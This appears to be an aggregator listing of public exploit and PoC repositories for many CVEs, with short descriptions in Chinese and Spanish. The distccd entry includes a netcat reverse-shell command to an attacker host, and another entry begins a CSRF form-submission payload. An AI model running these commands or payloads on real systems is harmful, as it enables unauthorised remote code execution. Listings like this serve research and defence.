distccd_rce_CVE-2004-2687

此脚本的目标不是使用 Metasploit，而是手动执行。 用法： root@kitploit: nc -lvnp 4466 运行漏洞利用： root@kitploit: python3 ./exploit.py -t targetip -p targetport -c "nc attackerip attackerport -e /bin/sh"...

CVE-2025-55182-Scanner

CVE‑2025‑55182 – Next.js RSC 反序列化 RCE 扫描器 此工具用于检测目标是否受 CVE‑2025‑55182 影响，该漏洞是一个由 Next.js 内部不安全处理 RSC（React 服务端组件）模型载荷导致的远程代码执行漏洞。 该漏洞利用链为：原型污染 → 反序列化滥用 → 服务端 JavaScript 执行 。 免责声明： 仅在您合法拥有或已获得明确授权的系统上使用。未经授权的测试属于犯罪行为。 🔥 漏洞工作原理 Next.js 内部通过 multipart/form-data 处理特殊的“模型”对象。 如果攻击者注入恶意结构（例如伪造的...

React2Shell-CVE-2025-55182-An-lise-T-cnica

React2Shell CVE-2025-55182 📖 概述 本仓库记录了TryHackMe房间中关于CVE-2025-55182 安全概念的学习内容，这是一个影响以下组件的严重漏洞： React Server Components RSC Next.js 以及基于RSC的框架 软件包： react-server-dom-webpack react-server-dom-parcel react-server-dom-turbopack 该漏洞可实现： 通过单个精心构造的HTTP请求，无需认证即可远程执行代码。 本材料仅供教育和防御目的 ，不包含该平台的任何答案、标志或完整通关指南。 ...

CVE-2025-53770

CVE-2025-53770 研究实验室 该仓库似乎是一个概念验证研究项目，用于在受控实验室中验证 SharePoint 风格的反序列化和工具窗格处理问题。它包含一个 Python 驱动脚本、一个模拟的易受攻击应用程序，以及用于隔离测试的容器资源。 !WARNING 此项目仅可用于您拥有或获得明确授权测试的系统、容器或网络。未经书面许可，请勿针对公共基础设施、第三方服务、生产环境或任何目标运行此代码。未经授权的安全测试可能违反法律、合同、政策或可接受使用条款。 本仓库的内容应被视为敏感的安全研究材料。如果您将此项目用于评估工作，请保持执行隔离、记录所有活动，并在测试前与系统所有者协调。...

CVE-2017-5638

CVE-2017-5638 Apache Struts 2 版本 2.3.x（低于 2.3.32）和 2.5.x（低于 2.5.10.1）的 Jakarta Multipart 解析器存在一个缺陷。该缺陷导致在尝试上传文件时异常处理不当并生成错误消息。因此，攻击者可以通过利用精心构造的 HTTP 头部（如 Content-Type、Content-Disposition 或 Content-Length）远程执行任意命令。 执行 python exploit.py -r -c 参考 NIST NVD MITRE Corporation...

CVE-2020-14882

CVE-2020-14882 CVE-2020-14882 Descripción Vulnerabilidad en el producto Oracle WebLogic Server de Oracle Fusion Middleware componente: Console. Las versiones compatibles afectadas son 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 y 14.1.1.0.0. La vulnerabilidad, fácilmente explotable, permite a ...

cve-2018-11235-git-submodule-ce-and-docker-ngrok-configuration

CVE-2018-11235-Git-Submodule-CE + Docker Ngrok 配置 使用 docker ngrok 对 CVE-2018-11235-Git 进行 PoC 与隧道穿透 构建 Dockerfile root@kitploit: $ docker build -t cve-2018-11235 . 为 ngrok 创建自定义网络 root@kitploit: $ docker network create myngroknet 启动 Git HTTP 服务器 root@kitploit: $ docker run -d -p 8080:80 --net...

CVE-2022-46169

CVE-2022-46169 – 说明与项目概述 Cacti 未授权远程代码执行 这是什么项目？ 本项目是一项网络安全任务，演示了 CVE‑2022‑46169 ：开源网络监控平台 Cacti （版本 ≤ 1.2.22）中的一个严重漏洞。该漏洞允许未认证的攻击者在服务器上执行任意操作系统命令——无需任何登录。 本项目的目标是理解该漏洞，在受控的实验室环境中复现它，并展示其影响。 什么是 CVE‑2022‑46169？ CVE‑2022‑46169 是 Cacti 中两个缺陷的组合： 1. 授权绕过 文件 remoteagent.php 通常只允许 Cacti...

Exploit-PoC-para-CVE-2024-30085

🚨 Exploit PoC para CVE-2024-30085 Proof of Concept exploit para la vulnerabilidad de elevación de privilegios CVE-2024-30085. Sólo para propósitos educativos y de investigación en seguridad. ⚠️ Advertencia Legal USO EXCLUSIVAMENTE EDUCATIVO ✅ Investigación de seguridad autorizada ✅ Laboratorios...

nfsen-exploit

nfsen-exploit 针对 nfsen 1.3.7 中 CVE-2017-6971 远程命令执行漏洞的利用程序。 已在 Ubuntu 上测试，可能适用于所有系统。 漏洞发现者：Paul Taylor/Foregenix Ltd 用法： python exploit.py 这会在远程机器上生成一个 root 权限的 shell。...

Fix-CVE-2023-36884

Fix-CVE-2023-36884.ps1 用于缓解 CVE-2023-36884 漏洞的临时解决方案。 此漏洞影响 Windows 操作系统，可能允许远程执行恶意代码。 CVE-2023-36884 » CVE-2023-36884 CVE-2023-36884 漏洞是一个严重的安全缺陷，可能导致 Windows 系统上的远程代码执行。微软尚未发布更新来修复此问题。然而，他们指导创建一些注册表项来规避该问题，直到提供最终解决方案为止。 解决方案 - Fix-CVE-2023-36884.ps1 我们，来自...

Nuclei-Template-CVE-2024-50379

Nuclei-Template-CVE-2024-50379 描述 此 Nuclei 模板检测易受 TOCTOU 竞态条件影响的 Apache Tomcat 服务器，该条件允许远程代码执行 RCE。 ⚠ 重要提示 ：此模板只能用于教育目的，并且仅在获得系统所有者的明确同意后，在受控环境中使用。 此外，该模板仍处于测试阶段，因此我尚未在所有易受攻击的 Apache 版本上进行 100% 的测试。 要求 已安装 Nuclei（支持 linux、mac、windows）。 对要进行测试的系统或网络拥有授权访问权限。 使用方法 修改模板： 打开模板文件，调整 upload.jsp...

CVE-2017-9841-EXPLOIT

CVE-2017-9841 - Ejecución Remota de CódigoRCE en PHPUnit Esta vulnerabilidad afecta a versiones de PHPUnit anteriores a la 4.8.28 y a todas las versiones 5.x anteriores a la 5.6.3. Permite a los atacantes ejecutar código PHP arbitrario en servidores donde PHPUnit está expuesto. El problema existe...

CVE-2026-3844-Lab

CVE-2026-3844 — Breeze Cache 未经身份验证的任意文件上传至RCE 实验环境 仅限本地的 Docker 实验环境，用于复现和比较 WordPress Breeze Cache 插件中 CVE-2026-3844 的行为。 此仓库演示了 Breeze Cache 2.4.4 中的漏洞行为，并与 Breeze Cache 2.4.5 中的修补行为进行了比较。实验环境使用两个隔离的 WordPress 服务（一个漏洞版，一个修补版），以及 Docker 网络内的一个本地负载服务器。 概念验证故意采用 最小危害 方式：不使用 WebShell，不暴露命令参数，不启动反向...

CVE-2025-12189

Bread & Butter: 门控内容 + 捕获线索 + 收集第一方数据 + 通过 AI 代理培育 CSRF Attack function exploit const form = document.createElement'form'; form.action = 'http://TARGETSITE.COM/wp-admin/admin-ajax.php'; form.method = 'POST'; form.enctype = 'multipart/form-data'; form.target = 'blank'; form.style.display = 'none';...

CVE-2025-25257

🚨 CVE-2025-25257 – FortiWeb SQL注入到远程代码执行 关键SQL注入 → Webshell执行 发现并武器化 by 0xgh057r3c0n 🧠 漏洞概述 CVE-2025-25257 影响暴露端点 /api/fabric/device/status 的 FortiWeb 系统，该端点未能正确清理 Authorization 头输入。 攻击者可以执行未经验证的SQL注入，在服务器上写入webshell并远程执行命令。 💥 攻击流程 root@kitploit: SQL Injection ➜ SQL INTO OUTFILE ➜ Python chmod...

CVE-2025-11953-PoC

描述 Metro 开发服务器由 React Native Community CLI 启动，默认绑定到外部接口。该服务器暴露了一个存在操作系统命令注入漏洞的端点，这使得未经身份验证的网络攻击者可以向服务器发送 POST 请求并运行任意可执行文件。在 Windows 上，攻击者还可以使用完全受控的参数执行任意 shell 命令。 受影响版本 产品| 严重性| 受影响版本| 修复版本 ---|---|---|--- @react-native-community/cli| 严重 9.8| 4.8.0 - 20.0.0‑alpha.2| 20.0.0 用法 1. 安装依赖...

CVE-2025-56803

CVE-2025-56803 Figma桌面应用程序中的插件执行OS命令注入漏洞 1. 概述 应用程序 ：Figma桌面应用程序 版本 ：125.6.5 供应商 ：Figma, Inc. CWE ：CWE-78：OS命令中特殊元素的不当中和（'OS命令注入'） CVSS ：8.4 向量字符串 ：CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 2. 摘要 Figma桌面应用程序（v125.6.5）在插件加载器中存在命令注入漏洞。...

CVE-2024-48990

CVE-2024-48990 的 PoC CVE-2024-48990 是在 needrestart 工具中发现的一个本地权限提升漏洞。该漏洞存在于 3.8 之前的版本中。该服务在诸如软件包安装等事件期间以 root 权限运行，会不安全地扫描所有正在运行的进程。当发现 Python 进程时，它会读取并信任该进程的 PYTHONPATH 环境变量。 一个低权限的本地攻击者可以在一个“诱饵”进程上劫持 PYTHONPATH。当 needrestart 运行时，它会发现该进程，采用恶意路径，然后以 root 权限执行攻击者的代码。 使用方法 1. 在攻击者控制的目录中克隆仓库：...

0-click-RCE-Exploit-for-CVE-2024-51793

CVE-2024-51793 / 0-Click RCE 漏洞利用 作者: Joshua Provoste https://x.com/JoshuaProvoste/status/1858668072279626138 本仓库包含一个针对 CVE-2024-51793 的概念验证利用程序，该漏洞是一个存在漏洞的 WordPress 插件中的未经验证的任意文件上传漏洞，可导致远程命令执行（RCE）。 脚本功能 该脚本滥用一个存在漏洞的 admin-ajax.php 操作，在无需身份验证的情况下上传 PHP 载荷。上传后，它会检测目标操作系统，并提供一个交互式远程 Shell 用于执行命令。...